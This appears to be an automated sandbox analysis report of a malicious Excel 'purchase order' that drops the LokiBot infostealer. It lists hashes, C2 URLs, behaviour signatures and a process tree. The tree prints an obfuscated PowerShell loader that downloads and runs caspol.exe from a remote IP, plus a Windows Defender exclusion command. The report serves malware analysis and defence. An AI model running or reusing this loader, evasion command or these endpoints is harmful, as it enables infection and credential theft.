Analysis
-
max time kernel
285s -
max time network
295s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19-11-2024 08:49
Static task
static1
Behavioral task
behavioral1
Sample
19112024_0849_18112024_PO-000041492.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
19112024_0849_18112024_PO-000041492.xls
Resource
win10v2004-20241007-en
General
-
Target
19112024_0849_18112024_PO-000041492.xls
-
Size
1.1MB
-
MD5
f69d18b27ddddb4274a97434c6a01ae2
-
SHA1
79a2cf394e8fe22341922a6490e9d58a87e2f748
-
SHA256
555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7
-
SHA512
32acd768dc2ec5095216e946f8cd119174ee252d4691d4816f91881a3c5439db68feffe24bc85a16dcdf9caf3d53b82fa89f35b89540148e8c862664c851a77c
-
SSDEEP
24576:6uq9PLiijE2Z5Z2amowshXCdQtF84LJQohVsx7ACKg0q9JfCazDVNPCTy2vo:6uEPLiij7Z5ZKowsAsFjLJQohVKEg0qR
Malware Config
Extracted
lokibot
http://94.156.177.41/maxzi/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
-
Lokibot family
-
Blocklisted process makes network request 3 IoCs
flow pid Process 12 2760 mshta.exe 13 2760 mshta.exe 15 2568 pOWERSHELl.exE -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 444 powershell.exe -
Downloads MZ/PE file
-
Evasion via Device Credential Deployment 2 IoCs
pid Process 2568 pOWERSHELl.exE 2276 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 1660 caspol.exe 1664 caspol.exe -
Loads dropped DLL 3 IoCs
pid Process 2568 pOWERSHELl.exE 2568 pOWERSHELl.exE 2568 pOWERSHELl.exE -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk pOWERSHELl.exE File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1660 set thread context of 1664 1660 caspol.exe 42 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pOWERSHELl.exE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2004 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2568 pOWERSHELl.exE 2276 powershell.exe 444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2568 pOWERSHELl.exE Token: SeDebugPrivilege 2276 powershell.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeDebugPrivilege 1664 caspol.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2004 EXCEL.EXE 2004 EXCEL.EXE 2004 EXCEL.EXE 2004 EXCEL.EXE 2004 EXCEL.EXE -
Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 2760 wrote to memory of 2568 2760 mshta.exe 32 PID 2760 wrote to memory of 2568 2760 mshta.exe 32 PID 2760 wrote to memory of 2568 2760 mshta.exe 32 PID 2760 wrote to memory of 2568 2760 mshta.exe 32 PID 2568 wrote to memory of 2276 2568 pOWERSHELl.exE 34 PID 2568 wrote to memory of 2276 2568 pOWERSHELl.exE 34 PID 2568 wrote to memory of 2276 2568 pOWERSHELl.exE 34 PID 2568 wrote to memory of 2276 2568 pOWERSHELl.exE 34 PID 2568 wrote to memory of 264 2568 pOWERSHELl.exE 35 PID 2568 wrote to memory of 264 2568 pOWERSHELl.exE 35 PID 2568 wrote to memory of 264 2568 pOWERSHELl.exE 35 PID 2568 wrote to memory of 264 2568 pOWERSHELl.exE 35 PID 264 wrote to memory of 2392 264 csc.exe 36 PID 264 wrote to memory of 2392 264 csc.exe 36 PID 264 wrote to memory of 2392 264 csc.exe 36 PID 264 wrote to memory of 2392 264 csc.exe 36 PID 2568 wrote to memory of 1660 2568 pOWERSHELl.exE 39 PID 2568 wrote to memory of 1660 2568 pOWERSHELl.exE 39 PID 2568 wrote to memory of 1660 2568 pOWERSHELl.exE 39 PID 2568 wrote to memory of 1660 2568 pOWERSHELl.exE 39 PID 1660 wrote to memory of 444 1660 caspol.exe 40 PID 1660 wrote to memory of 444 1660 caspol.exe 40 PID 1660 wrote to memory of 444 1660 caspol.exe 40 PID 1660 wrote to memory of 444 1660 caspol.exe 40 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 PID 1660 wrote to memory of 1664 1660 caspol.exe 42 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\19112024_0849_18112024_PO-000041492.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2004
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe -Embedding1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT3⤵
- Evasion via Device Credential Deployment
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2276
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fmw0hx7y.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:264 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC65C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC64B.tmp"4⤵
- System Location Discovery: System Language Discovery
PID:2392
-
-
-
C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:444
-
-
C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1664
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
717B
MD5822467b728b7a66b081c91795373789a
SHA1d8f2f02e1eef62485a9feffd59ce837511749865
SHA256af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6
-
Filesize
344B
MD521df645ec13368af70d0fdc697fd5359
SHA15b82ae15964e432a108cdcaff6577f97a3fa282c
SHA256ab8079f4c308128ed7c6149a31e451702426eb988972368078d420cb490b0ec2
SHA51229c1ad99095fb83110e4aa0d34bc6229aba1d15f30aaf5971228d9a03a032dc83d5232e13923b776a67f0419e7eeb5e684cff95b10c9aa2443653779909cc1d0
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Filesize192B
MD50a378af2d086b23d27752d0b437d21c5
SHA1606aa2e0be67c4ef5e913f543c7fd3503b8405bc
SHA25622ae1cb7c6414df525a67ed498e2356e90d769f06a669477378d7644c7649b30
SHA512aa3f99a1ed6adb91a8975dbcb9491d858fb04db0d35d582530c31c947072ce6996eeda96222d55320f1a9da9b3019d80f437a07b594217dd6da8f92c446ee1cf
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
Filesize544B
MD519441ff3417824165292902a45b2b1a0
SHA1d540476ed095e25dcde39c9fda6377cf8eabdb00
SHA25676a89a769b67f8f4d4f9c0086311f804fe47473f0f631c67052dc27d4c485eaf
SHA51298f2849a2ff381580d0a2e3f1cf4800a745fd61ae5a3078c9e6c64332efe30154143705541cacd9cea0099de66775aaf5c89b1c75ce3652257e08ecca692406f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AS91FDNI\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta
Filesize8KB
MD5db21eb9cf86a8314900d693c5a40c4e9
SHA11dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c
SHA256da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102
SHA512b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
1KB
MD5cc80a1b90c410b05a64883887d9fbd12
SHA123adb91480fd45e77b55193518fbf46eb0ca8d2a
SHA25652fc88503e68a6084f9d205052dd19199cf26c53e3b9213619ce16cbf0fdd57a
SHA512b5e3a0964829f7fc012270ac8c15addb56bdb69b03bdf22cf6bd505b2bce360321ad530f606e8c313ff5d8822a433dd48b63fc3241c6fb8585e31a5438ce6669
-
Filesize
3KB
MD577e1e8bb36d4d55c8fa5c7d1f042e9eb
SHA19ab6241aca8b3800ec7fc8a501aaf4665734dccf
SHA256c682a3088d132b66aec3ebd4686b4b3d80851edd01ef2bd17e062a8c074554dd
SHA5124d9b232c71e127ac0d7e2ab8330230c13725ed1a5f415c2de581911072bf343cd86c4773221727389970f2152a17234dbe5dcc836f39959638188b937085cb64
-
Filesize
7KB
MD5712cb33ce82633f3e103b7a7f6eb71a3
SHA178093c425b42c7125cd16809603c766e54fb08d1
SHA256e1642ca5e9766b52bc9f9b0cef73cab7ccb9241f332eebaf905a7ec80703fba4
SHA51224caae7bc7240e8a38d3d7a16df5ccf52511f07c60e65ec3f8cc64229ef2eccf39cf00327a42011a2b1d9f0c3fca1fa2e1d2f8d49742016d613e16872513fb47
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5de3896007a0ce7fe6d44eb1ff9929bdb
SHA119d77f34ea9f482d9d2361300297614678d5892a
SHA2562b0baba624c1062db007046379c4594b36fdf0ea94e75cb63e11d30dedb0c13c
SHA5124375b9ce461f3e482aca91111fb70c844c3fdb83085167fd4b5572c8c9c2e152625c8e76e1c1672accf4f193853310df6a5bb75e77f8f45646fd7f30be6c90d9
-
Filesize
506KB
MD5759dd13715bc424308f1d0032ac4b502
SHA103347c96c50c140192e8df70260d732bea301ebc
SHA256d4c86776bcf1dc4ffd2f51538f3e342216314b76cdba2c2864193350654a9aca
SHA5124197992f4b44ea45c91cb00c7308949560ae24d179e9a14ebc4efb27e1b20abae203b1c8756c211eb9aab9732a3fd04c824bd6bc92510c8de3caea3a8cfa8e55
-
Filesize
652B
MD5b87615cee40c4877b9d70368fd1d19eb
SHA1da5fece3588786c71a0135363c01c33771e78214
SHA256fd1b4fd86d41992253cb9d3b79b13d46e49c3d819561da0d9e5d8c2f22a3706d
SHA5121affaaf736ddec655c5fc18fdf42ac7998b575151471e02228840bc93cd81b80ac637b7fe1451964bd852260dba44ec2134b8d14d0fd19ee41fe42330a95e52a
-
Filesize
477B
MD5f97fc8141f59078b4354b513d3b083ac
SHA1293904ab8d5f38a2f0764ee2e35e97e590d8c737
SHA256f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e
SHA51287b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c
-
Filesize
309B
MD5813ed3d19f0980c53e9f13189f90d5c8
SHA10b930b3827bf97455f21d098223210668fab6a33
SHA256ce9980bf0841e99e39685df06e4e5d70a4b10c363c5f9ee97e70fc260caa2132
SHA51234ae88e47482b7c3e2a9cfd91347da3895330a733aab35439c6bf1eeaae29140fe57e5777fc0433adde1297f8b2b79028ea70bc82b056d1617562630dab5633a